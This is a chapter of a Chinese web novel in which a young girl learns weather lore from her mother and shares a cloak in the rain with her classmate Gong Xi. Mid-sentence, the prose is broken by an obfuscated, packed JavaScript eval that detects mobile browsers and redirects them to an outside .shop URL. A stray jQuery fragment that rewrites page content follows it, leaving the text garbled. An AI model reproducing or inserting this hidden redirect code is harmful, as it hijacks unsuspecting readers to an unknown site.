万国学堂的天空上聚集着浓厚的云朵。黑压压一片,犹如倒置的山峦,随时会倒塌下来。
偶尔有大风在云朵上凿出一个洞,像一个天井一样,露出里面湛蓝的天空。阳光从“天井”中漏下来,形成一道道隐约可见的半透明光路。
乌昼告诉庾东风这个叫瑞霭,还有一些文人管这种现象叫“野光浮”。出现时说明天气在转好,不会下雨。
庾东风坐在乌昼怀里,听她讲着那些风水堪舆的知识点。妃色的发带被风吹起来,在乌昼脸上挠痒痒。
“昼娘亲,可是我觉得空气里湿湿的。天气真的在转好吗?”
乌昼轻笑一声,“这就是下一课的内容了。你今天带不带伞?”
“我觉得要带。”
“为什么?”
“就算不下雨,我也可以遮阳。”
“那娘亲告诉你,今天一定会下雨。你回来的时候告诉娘亲为什么好不好?”
庾东风点点头,“好。”
随后荡着腿从乌昼怀里滑下来,屁颠屁颠跑到屋里拿了一把几乎与她一般高的油纸伞。
那把伞对于只有八岁的庾东风还是太大了,她只能拖着它跑到乌昼身边,在地上磨出莎莎的声响。
乌昼看着一个馒头大小的孩子,滴溜滴溜就要上马车。她伸手将庾东风提起来,“这是娘亲的伞,你的是这把小的。”
“要是有人没有带伞怎么办?带大伞她们可以和我一起撑。”
“哦……这样啊。可是伞太大了,你拿着会很累的。你拿这把小的,如果那个人想要和你一起撑,就让她背你。”
庾东风看着那把小伞,愣住片刻,似乎是在思考什么不得了的问题。她看看乌昼又看看伞,心中对比了大伞与小伞的重量,紧接着点头如捣蒜,“好!”
庾东风在万国学堂眨巴着眼睛看着窗外的积云。云层由先前薄薄的一层逐渐变厚变暗。虽然偶尔还有几缕阳光透云而出,庾东风依旧觉得会下雨。
风从小窗里灌输进入屋中,将书籍翻得哗啦作响,也将她的发带吹得飞飞扬扬。
她歪歪头看着那些云,随后闭上眼睛感受着风带来的湿润。
片刻后,一阵熟悉的声音在她耳边响起。
“庾东风,我可不可以邀请你与我一起去踢蹴鞠啊?”
她睁开眼,宫禧一手抱着蹴鞠,一手拿着一枝海棠,正满怀期待地看着她。
“哈斯,要下雨了。”
闻言宫禧撅了撅嘴,半个身子探出窗去,左右张望,“我看外面风和日丽啊,只是云比较多而已。”
宫禧把身子抽回来,撅着个嘴。他从怀里拿出生辰时庾东风送他的祈愿红绸。
他鞠躬弯着腰,将红绸举过头顶缓缓展开。庾东风的字迹在红绸上逐渐显现出一整段文字,“贺君龆龀,此绸当为一礼,圆君所愿。”
蹴鞠场上,两人踢了一刻钟,天上就开始零星落雨。
一滴豆大的雨点首先滴在宫禧的额头上,他伸手沾上雨点,又转头看向庾东风。
雨点还没有打在庾东风身上,她还在交换着膝盖颠球。
宫禧仰头看着天上的云,想要再确认一番。一滴雨不偏不倚落在他嘴里,他被雨水呛到。喉咙辛辣,依旧不忘记大喊:“庾东风快跑,落雨了。”
庾东风将蹴鞠踩在脚下,仰头看着天上的乌云。她伸出手感受着雨点打在身上的感觉,喃喃道:“当今夏季,东风起,带来了沿海的湿润。乌云浓厚,遮蔽天日,所以阳光是偶然的假象,风会将云、雨吹过来。”
庾东风刚总结完,一团火红的罗衣就罩在她头上。
“走啦,庾东风,罗衣很快就会湿透的。”
两人一起藏在宫禧的外袍里。
“要我背你吗?”庾东风看着宫禧的脸问道。
“不用了,就这点距离。背了反而麻烦。”
两个八岁孩童,共享同一件外袍从沙场冲着回廊跑去。
稚气的声音在蹴鞠场上回荡。
“哈斯——你跑起来——”
“我跑了——你速度太快了——不用管我,外袍宽敞的很,我在后面淋不着。”
庾东风率先来到回廊,从红袍下脱身。她一抽身,红袍就单单罩在宫禧一个人头上。
庾东风看着那红袍,不由得想起书中讲到的魏国人结连理的情景。
魏国人结连理时,有一方要用红布将头罩住,就像宫禧现在这样。
庾东风弯着腰缓缓靠近宫禧,歪歪头左右观察着。
魏国人为什么要蒙住自己的头呢?为什么周国人不这么做呢?
庾东风双手捏住红袍的一条边,将外袍掀起。
外袍被庾东风揭起来,渐渐露出宫禧那张正在喘气,跑得通红的脸。再晚一会儿,感觉他就能昏厥过去。
庾东风见此连忙将外袍撤下,“你都要喘不过气了,怎么不把外袍掀开?”
宫禧一边气喘吁吁一边笑出声来,“我都跑得没力气了,哪有余力揭开袍子?”
宫禧双手叉腰,坐在回廊上,从怀里拿出两片手帕,一片留给自己,一片抛给了庾东风。
“擦……擦。”
庾东风接过手帕,象征性地擦了擦。
庾东风从书塾中拿出自己的油纸伞,“我们一起撑。你背我。”
乌昼的马车停在万国书
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17601662|202383||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
院正门。她撑着一把油纸伞,站在马车下。路过的官位向她问好,她就微微颔首回个礼。
雨点从积云上落下,降落到她的伞上,又从伞上滑落,滴落在她的脚边,溅起的雨水渐渐盘上她的裙角。白色的裙角,被雨溅透,变成了蓝灰色。
书院渐渐清净起来,庾东风平时都是第一个散学跑出来的人。今天来得格外的晚,乌昼猜想着应该是她真的在找人背她。
不久,一个妃色的身影从门后走出来。庾东风背上背着一个比她还小的孩童。那孩童双手撑着伞,帮庾东风遮风挡雨。
庾东风跳着冲乌昼招招手,“娘亲,马上就好了。”
庾东风又接了几个小孩,将她们送到家人的伞下。
最后,宫禧背着庾东风从门后走出来。
二人来到乌昼面前,庾东风从宫禧背上跳下来。宫禧身上还有魏国的一些礼仪习惯,弯腰作揖,行礼道:“国师大人好。”
乌昼垂头,看了一眼宫禧,嘴角微微弯起,“宫家小郎?”
“宫家四郎,宫禧见过国师大人。”
庾东风揉了揉宫禧的头,“好啦好啦,我娘亲又不是没见过你父亲。我们也算共享过一片屋檐,你跟我一起回吧。”
乌昼点点头,微笑着将庾东风和宫禧送上马车。她向着后面的宫家马车微微颔首。
宫隰华颔首回应。乌昼的马车远走已经远走,不见踪影。
宫隰华看着自己儿子被拐上了乌昼的马车,皱着眉眨眨眼,说不出什么感受。只是觉得还是太离谱了些。
夜晚,宫隰华站在宫禧的院子里捻着自己的胡子左思右想。他一会儿踱步,一会儿坐下,不知道该干什么。
“八岁,他才八岁啊……怎么……他怎么……嗯?”宫隰华皱着眉头,不知如何是好。
“宫隰华,你干什么?”宫禧打开自己的房门,“你在我院子里有点吵。”
宫隰华连忙走到宫禧身边。他蹲下与宫禧视线齐平,“玉宝啊,你能不能跟阿爹说说今天你和公子东风怎么回事啊?”
宫禧闻言,小脸一皱,纠正道:“我不叫玉宝。国师大人给我取了新的表字,叫少微。”
宫隰华站起身,“乌乌乌昼,还还还给你改小字?”
“不行不行,她怎么能这么做呢?”
“国师大人说明天会来通知你,你等着吧。我要睡觉了,不要在我院子里吵闹。”
宫隰华正要上前再说几句话,却被宫禧关门的动作挡了回来。宫隰华看着冷冰冰的木门,抿抿嘴,最后无奈叹气一声,“哎——”
“别吵。”
宫隰华赶紧双手捂着嘴,把叹气声吞回去。